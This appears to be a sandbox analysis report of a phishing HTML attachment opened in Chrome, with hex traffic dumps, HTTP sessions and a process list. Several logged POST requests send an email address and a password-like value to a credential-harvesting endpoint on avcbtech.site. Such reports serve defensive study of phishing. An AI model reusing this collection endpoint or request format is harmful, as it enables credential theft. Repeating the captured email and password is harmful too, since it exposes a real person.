2025-03-10 19:51:46 UTC	1371	IN	Data Raw: 15 15 15 4c ec 03 a6 22 32 1f 3f 1d 4c 66 01 83 c1 30 7a f4 e8 f1 e3 c7 a7 a5 a5 85 6f c0 00 00 d0 a0 81 ea 47 1c 14 ee 0e 78 d8 a2 45 8b c6 8c 19 53 5c 5c 1c c2 3f c1 8a dd 5a ad 56 9f cf c7 71 5c db b6 6d 37 6e dc 18 17 17 67 b3 d9 2a 25 de 87 1b 51 14 1f 79 e4 91 ff fd df ff 25 39 3f 7f fe 7c b5 c2 1f 8c 8f df 6c 36 0f 1c 38 70 da b4 69 e4 33 84 9d 0f 00 00 2a 81 08 7f c4 11 8c dc 2e 5c b8 70 fa f4 e9 05 05 05 54 0a b7 b6 9f 4f 85 71 52 52 52 68 b9 7c e7 9d 77 fe f3 9f ff 6c d2 a4 09 49 be 7a 27 5e dd cb 27 4c 18 8d c6 56 ad 5a 71 1c 97 9d 9d 5d 5e 5e 6e b5 5a 5d 2e 97 db ed b6 58 2c ea 7f 9d 02 fb 26 93 a9 a6 3a 04 e4 e3 3f 79 f2 a4 ba 1f 3f 6b 4a 04 00 00 00 aa df 90 20 09 14 45 f1 bd f7 de 9b 3c 79 72 7e 7e be d9 6c 0e c1 94 4f da 69 b3 d9 4a 4b 4b Data Ascii: L"2?Lf0zoGxES\\?ZVq\m7ng%Qy%9?\|l68pi3.\pTOqRRRh\|wlIz'^'LVZq]^^nZ].X,&:?y?kJ E<yr~~lOiJKK
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: ab 55 c7 53 a9 4b a8 83 0e f9 f8 3d 1e cf d1 a3 47 7d 3e 1f 2d f4 59 25 c1 9a 36 f5 69 cb 9f 22 25 54 9e 48 14 45 af d7 0b 1f 3f 00 20 36 81 73 2f 52 c8 cb cb 9b 32 65 ca 47 1f 7d 44 5e 3b e1 02 06 83 21 2e 2e 4e 14 45 ed 7d 7d 52 7d 52 3e 2a 64 6b 36 9b 37 6e dc d8 b5 6b 57 1d cf 40 0f 3c 1e cf 8d 37 de b8 7d fb 76 b7 db cd f3 3c c9 79 40 1f bf c3 e1 50 14 85 fe 1f da 6c 36 56 d9 10 3e 7e 00 40 ac d1 90 12 bb 1a 28 1a cb 50 b6 7c cf ce ce 1e 39 72 e4 a2 45 8b e8 4f b7 db cd 5e 2a 2b 2b 23 b9 aa 94 9f cf 48 48 48 20 f7 5a 7c 7c 3c 6d ed f7 ee dd fb b7 df 7e 8b 3e c9 a7 3a 45 1b 36 6c e8 df bf 3f ed 59 24 24 24 50 be 82 c5 62 a9 94 a5 68 34 1a d9 8e 86 db ed 66 d3 26 af d7 cb be 91 05 0b 16 8c 1e 3d fa d0 a1 43 f4 67 08 e5 8d 01 00 a0 61 81 08 7f d8 d1 b0 Data Ascii: USK=G}>-Y%6i"%THE? 6s/R2eG}D^;!..NE}}R}R>dk67nkW@<7}v<y@Pl6V>~@(P\|9rEO^++#HHH Z\|\|<m~>:E6l?Y$$$Pbh4f&=Cga
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: de 7d fb f6 29 8a 02 1f 3f 00 a0 a1 03 bf 7e 18 f9 f5 d7 5f 6f bf fd f6 b3 67 cf 5a 2c 16 5a af d3 da 5d 92 24 9b cd a6 b1 bb cf 1c e7 f4 20 21 21 a1 57 af 5e 2b 57 ae b4 d9 6c fa 9e 41 83 27 64 1f bf 24 49 34 45 a3 5a fd 34 f7 1a 37 6e dc d8 b1 63 d5 7b fc 55 d3 36 01 00 20 92 81 25 a9 8e 61 8b f8 8d 1b 37 0e 1b 36 ec ec d9 b3 a4 3d 34 bb 12 45 91 84 87 49 3e 2b a7 4f e9 7b 1c c7 31 3b 7e 42 42 02 3d b8 f3 ce 3b 21 f9 a1 51 93 8f 9f 59 f6 09 da 55 61 fa 5d 5e 5e ce ea 28 78 3c 1e f6 9d be f6 da 6b 23 47 8e 3c 72 e4 08 fd 29 08 02 24 1f 00 d0 b0 40 84 bf 2e 51 14 85 dc f6 bb 76 ed 9a 31 63 c6 fa f5 eb 2d 16 8b 76 8d 17 16 6b 61 f6 3c 2a ba 27 cb b2 c7 e3 31 9b cd 4f 3e f9 e4 c8 91 23 11 58 0e 19 f2 f1 cb b2 bc 77 ef 5e b7 db 6d b7 db 5d 2e 97 db ed 66 33 Data Ascii: })?~_ogZ,Z]$ !!W^+WlA'd$I4EZ47nc{U6 %a76=4EI>+O{1;~BB=;!QYUa]^^(x<k#G<r)$@.Qv1c-vka<*'1O>#Xw^m].f3
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: 7e f8 e1 a1 87 1e ca cb cb a3 4b ba ac ac 4c 96 65 9e e7 99 c3 48 92 24 9f cf 47 9e 94 a2 a2 a2 23 47 8e dc 73 cf 3d f5 3d 70 10 5e a0 fa a1 40 92 ff eb af bf 4e 99 32 e5 f0 e1 c3 d4 2f a7 b6 6e 08 12 92 c7 1e 7b 6c c6 8c 19 b4 59 00 c9 d7 19 b5 8f bf 7b f7 ee 65 65 65 db b7 6f af ad 8f df 64 32 09 82 a0 f6 f1 53 3f 7e f8 f8 41 fd b2 7c f9 f2 91 23 47 16 14 14 50 6b 69 ba e1 a8 a7 b0 74 db 61 7d a4 14 45 39 78 f0 e0 ed b7 df de a4 49 93 7a 1d 38 08 2f 50 fd 5a 43 e1 fd a2 a2 a2 59 b3 66 ad 5e bd 3a 98 ce ad d5 62 b1 58 ee bd f7 de 09 13 26 20 1a 5c bf d0 8e 7e 72 72 72 68 3e 7e 93 c9 44 0d 96 d4 3e fe 9c 9c 1c ea c7 0f 1f 3f d0 1f bf df bf 6c d9 b2 b9 73 e7 ee dd bb 97 d5 0e b1 58 2c 0e 87 83 1e 3b 9d 4e 8a 35 92 9f 85 2e 60 45 51 44 51 6c d4 a8 51 bf 7e Data Ascii: ~KLeH$G#Gs==p^@N2/n{lY{eeeod2S?~A\|#GPkita}E9xIz8/PZCYf^:bX& \~rrrh>~D>?lsX,;N5.`EQDQlQ~
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: 6a fd e6 9b 6f d8 ce 3d 68 88 f8 fd 7e 56 a2 3c 21 21 81 1e b0 0a 3f 44 25 1f bf 06 c3 86 0d a3 8f ad a8 a8 a8 ef 33 03 0d 92 a5 4b 97 a6 a7 a7 53 05 1e 8d 2b 8d 5d a2 64 3d 65 8f 0d 06 43 62 62 22 bd da ae 5d bb e5 cb 97 d7 f7 09 01 9d 40 84 3f 00 54 63 67 e5 ca 95 9f 7f fe 39 f9 f4 6a 82 b5 cd 65 6d 2d 98 cb 6b e4 c8 91 0f 3f fc b0 d5 6a 85 71 ab e1 c2 f3 7c cb 96 2d 65 59 56 f7 e3 77 bb dd b5 ed c7 4f 1c 3b 76 4c 92 a4 bf fd ed 6f b4 4f 84 fd 1d 50 2b 96 2e 5d 3a 6d da b4 c3 87 0f 07 ac f3 a1 76 99 b2 c7 1c c7 c5 c7 c7 9f 3f 7f 5e 96 e5 ac ac ac d1 a3 47 df 7d f7 dd b8 08 63 85 fa 9e 76 44 34 1e 8f 47 51 94 bc bc bc 9b 6f be 99 fe 77 69 af f5 69 e2 4c 3d 57 d8 cc ba 53 a7 4e c7 8e 1d ab ef 53 01 75 c3 a1 43 87 fe eb bf fe 8b be 6e 5a 63 31 81 57 5f 1b Data Ascii: jo=h~V<!!?D%3KS+]d=eCbb"]@?Tcg9jem-k?jq\|-eYVwO;vLoOP+.]:mv?^G}cvD4GQowiiL=WSNSuCnZc1W_
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: be 42 20 a1 3a 36 81 2f 1f 84 15 a8 fe 5f a0 9b f5 d9 b3 67 3f f9 e4 13 ba e7 32 87 2b 9b 44 6b 7f c2 ed b7 df 7e fd f5 d7 ab df 08 a2 1e ea 9a 68 30 18 2e bd f4 d2 71 e3 c6 5d 77 dd 75 21 7c 88 d9 6c ce cb cb 5b b7 6e 5d 18 06 08 1a 12 a1 f5 cb 57 d7 d8 67 21 81 b4 b4 b4 99 33 67 3e f8 e0 83 f4 a7 28 8a 54 6d 0c 61 a4 58 06 aa ff 17 28 b8 fa d5 57 5f 9d 3c 79 92 04 5e dd 4f 5d bb 59 b5 28 8a 8d 1a 35 7a f0 c1 07 69 4a ae ee a3 0f a2 1b 8e e3 58 06 f5 35 d7 5c f3 d0 43 0f a5 a4 a4 d4 f6 43 28 ee fa d5 57 5f 51 55 47 10 83 c0 97 0f 74 00 aa ff 27 14 d2 17 45 71 e5 ca 95 ec c7 43 6d 2a 58 b1 55 ed 39 72 87 0e 1d ae bd f6 5a 0a a3 e9 38 70 50 9f b0 4b 42 10 04 7a 7c d7 5d 77 3d fc f0 c3 b5 fd 1c 59 96 39 8e db b0 61 03 25 6c 83 18 04 be 7c a0 03 50 fd 3f a1 Data Ascii: B :6/_g?2+Dk~h0.q]wu!\|l[n]Wg!3g>(TmaX(W_<y^O]Y(5ziJX5\CC(W_QUGt'EqCm*XU9rZ8pPKBz\|]w=Y9a%l\|P?
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: d0 a0 81 03 07 d2 f3 f0 e5 83 d0 80 ea 1b 28 81 bf 56 de 2a fa 8d 25 24 24 b4 6d db 56 97 01 82 86 8a cf e7 a3 1b 7d 90 f7 65 3a 8c f6 71 c3 3f 3a 10 5e c8 97 bf 7f ff fe b8 b8 38 ca c2 a3 1a ba e4 cb b7 5a ad 54 e6 ab 26 e8 56 c3 56 f9 83 06 0d 1a 3e 7c 38 7b 95 f9 f2 65 59 46 f3 5c 10 3c b8 b3 18 dc 6e 37 f5 d9 a3 1b 6e c0 58 19 a5 ee 1b 0c 86 e1 c3 87 23 b0 06 b4 d9 bb 77 2f b3 60 49 92 a4 a1 e5 14 ec 95 24 89 dc 59 8d 1b 37 d6 77 a4 a1 a0 2d 5a 31 0e f5 cb df bf 7f bf c3 e1 20 c9 af b6 5f 3e 05 17 ab 9d ea c5 c5 c5 91 ea b7 6f df fe bd f7 de 53 4b 3e 03 fd f2 41 6d c1 5a df 70 e8 d0 21 8a b6 a9 db ea 68 37 e0 a1 fb 78 46 46 06 02 6b 40 9b 9c 9c 1c 75 8a b5 46 e5 47 36 83 54 14 25 35 35 55 c7 31 d6 1a 3a 05 ab d5 4a b9 e8 f9 f9 f9 a7 4f 9f 3e 7e fc b8 Data Ascii: (V*%$$mV}e:q?:^8ZT&VV>\|8{eYF\<n7nX#w/`I$Y7w-Z1 _>oSK>AmZp!h7xFFk@uFG6T%55U1:JO>~
2025-03-10 19:51:46 UTC	1371	IN	Data Raw: fa 6a ba ef 87 61 74 b5 a3 ea 52 9e 54 9f e7 79 a3 d1 58 ab 8e c0 91 70 3a 75 88 20 08 6b d7 ae 7d e6 99 67 76 ef de 5d c9 97 af fd 46 b5 2f 9f 24 5f 51 94 aa be 7c 48 3e 08 2b 31 ad fa 05 05 05 da 5b 71 d5 92 96 96 96 98 98 18 9e 11 81 06 cc f6 ed db 47 8d 1a f5 d3 4f 3f 71 1c 17 da ea f6 96 5b 6e c9 cc cc 0c c3 d0 ea 0c 2a bb 4b 45 87 aa 0d 59 57 4b 30 db ff 0d 08 f8 f2 41 83 26 a6 27 95 05 05 05 21 dc 8f d0 5d 17 54 65 d7 ae 5d 2f bf fc f2 f7 df 7f 4f 2d 98 43 88 21 b5 6e dd fa 9e 7b ee 21 d9 88 cc d5 5e a5 08 7f 90 92 1f 4d 84 a3 5f fe 5d 77 dd 45 cf c3 97 0f f4 21 76 af 2d 49 92 42 b8 35 1b 0c 86 66 cd 9a 85 61 38 a0 01 93 97 97 37 65 ca 94 65 cb 96 51 f0 b6 a4 a4 24 84 e2 f3 dd ba 75 23 47 a8 76 ad fe fa 85 75 ac a8 94 8b ae 31 4d 89 26 cf 1e 7c f9 Data Ascii: jatRTyXp:u k}gv]F/$_Q\|H>+1[qGO?q[n*KEYWK0A&'!]Te]/O-C!n{!^M_]wE!v-IB5fa87eeQ$u#Gvu1M&\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49756	104.168.138.190	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:52:05 UTC	634	OUT	POST /ncb/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 47 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:52:05 UTC	47	OUT	Data Raw: 61 69 3d 61 70 25 34 30 63 61 6e 6e 61 72 61 2e 63 61 26 70 72 3d 25 35 45 2a 25 35 45 77 47 51 6c 72 25 33 46 6a 53 7a 25 32 36 77 5a 31 4b Data Ascii: ai=ap%40cannara.ca&pr=%5E*%5EwGQlr%3FjSz%26wZ1K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	64173	142.250.113.94	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:53:20 UTC	363	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 327 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:53:20 UTC	327	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 66 61 69 6c 75 72 65 5f 64 61 74 61 22 3a 7b 22 63 75 73 74 6f 6d 5f 65 72 72 6f 72 22 3a 22 6e 65 74 3a 3a 45 52 52 5f 41 42 4f 52 54 45 44 22 7d 2c 22 68 74 74 70 5f 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 32 30 30 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 48 54 54 50 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 36 34 33 39 34 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 34 32 39 33 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 61 62 6f 72 74 65 64 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6f 70 74 69 6d 69 7a 61 Data Ascii: {"entries":[{"failure_data":{"custom_error":"net::ERR_ABORTED"},"http_response_code":200,"network_changed":false,"protocol":"HTTP","request_age_ms":64394,"request_elapsed_ms":4293,"sample_rate":1.0,"server_ip":"","status":"aborted","url":"https://optimiza
2025-03-10 19:53:21 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Mon, 10 Mar 2025 19:53:20 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	64174	104.168.138.190	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:54:19 UTC	634	OUT	POST /ncb/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 22 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:54:19 UTC	22	OUT	Data Raw: 61 69 3d 61 70 25 34 30 63 61 6e 6e 61 72 61 2e 63 61 26 70 72 3d Data Ascii: ai=ap%40cannara.ca&pr=
2025-03-10 19:54:20 UTC	559	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 19:54:19 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=991a3c88086e55921b2980d75bc3a6e4; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-10 19:54:20 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	64177	104.168.138.190	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:54:22 UTC	389	OUT	GET /ncb/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:54:23 UTC	559	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 19:54:23 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=63446665553c64a43494b444f44e267f; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-10 19:54:23 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	64179	142.250.113.94	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:54:27 UTC	363	OUT	POST /domainreliability/upload HTTP/1.1 Host: beacons.gcp.gvt2.com Connection: keep-alive Content-Length: 336 Content-Type: application/json; charset=utf-8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:54:27 UTC	336	OUT	Data Raw: 7b 22 65 6e 74 72 69 65 73 22 3a 5b 7b 22 66 61 69 6c 75 72 65 5f 64 61 74 61 22 3a 7b 22 63 75 73 74 6f 6d 5f 65 72 72 6f 72 22 3a 22 6e 65 74 3a 3a 45 52 52 5f 41 42 4f 52 54 45 44 22 7d 2c 22 68 74 74 70 5f 72 65 73 70 6f 6e 73 65 5f 63 6f 64 65 22 3a 32 30 30 2c 22 6e 65 74 77 6f 72 6b 5f 63 68 61 6e 67 65 64 22 3a 66 61 6c 73 65 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 48 54 54 50 22 2c 22 72 65 71 75 65 73 74 5f 61 67 65 5f 6d 73 22 3a 36 39 35 35 35 2c 22 72 65 71 75 65 73 74 5f 65 6c 61 70 73 65 64 5f 6d 73 22 3a 38 33 30 33 2c 22 73 61 6d 70 6c 65 5f 72 61 74 65 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 61 62 6f 72 74 65 64 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 65 61 63 6f 6e 73 2e Data Ascii: {"entries":[{"failure_data":{"custom_error":"net::ERR_ABORTED"},"http_response_code":200,"network_changed":false,"protocol":"HTTP","request_age_ms":69555,"request_elapsed_ms":8303,"sample_rate":1.0,"server_ip":"","status":"aborted","url":"https://beacons.
2025-03-10 19:54:28 UTC	806	IN	HTTP/1.1 200 OK Report-To: {"group":"ntbdioescrec:47:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ntbdioescrec:47:0"}],} NEL: {"failure_fraction":1,"include_subdomains":false,"max_age":300,"report_to":"nel","success_fraction":0.25} Content-Type: application/javascript; charset=utf-8 Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ntbdioescrec:47:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=ntbdioescrec:47:0 Date: Mon, 10 Mar 2025 19:54:28 GMT Server: Domain Reliability Server Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	64180	104.168.138.190	443	7024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:54:31 UTC	634	OUT	POST /ncb/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive Content-Length: 22 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 19:54:31 UTC	22	OUT	Data Raw: 61 69 3d 61 70 25 34 30 63 61 6e 6e 61 72 61 2e 63 61 26 70 72 3d Data Ascii: ai=ap%40cannara.ca&pr=
2025-03-10 19:54:32 UTC	559	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 19:54:31 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Set-Cookie: PHPSESSID=3e3a288ba6168bdcbfaaa117a68fbbd0; path=/ Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-10 19:54:32 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	64182	104.168.138.190	443

Timestamp	Bytes transferred	Direction	Data
2025-03-10 19:54:34 UTC	441	OUT	GET /ncb/xwps.php HTTP/1.1 Host: avcbtech.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=63446665553c64a43494b444f44e267f
2025-03-10 19:54:35 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 19:54:35 GMT Server: Apache X-Powered-By: PHP/7.4.33 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: application/json
2025-03-10 19:54:35 UTC	74	IN	Data Raw: 33 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 45 6d 61 69 6c 20 61 6e 64 20 70 61 73 73 77 6f 72 64 20 61 72 65 20 72 65 71 75 69 72 65 64 2e 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3f{"status":"error","message":"Email and password are required."}0

Target ID:	5
Start time:	15:51:16
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\ATT09858.htm"
Imagebase:	0x7ff60ca90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:51:20
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2096 /prefetch:3
Imagebase:	0x7ff60ca90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:51:23
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4544 /prefetch:8
Imagebase:	0x7ff60ca90000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	15:54:20
Start date:	10/03/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --no-pre-read-main-dll --field-trial-handle=1996,i,10608549234620328599,390009807881747311,262144 --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5732 /prefetch:8
Imagebase:	0x7ff60ca90000
File size:	3'388'000 bytes
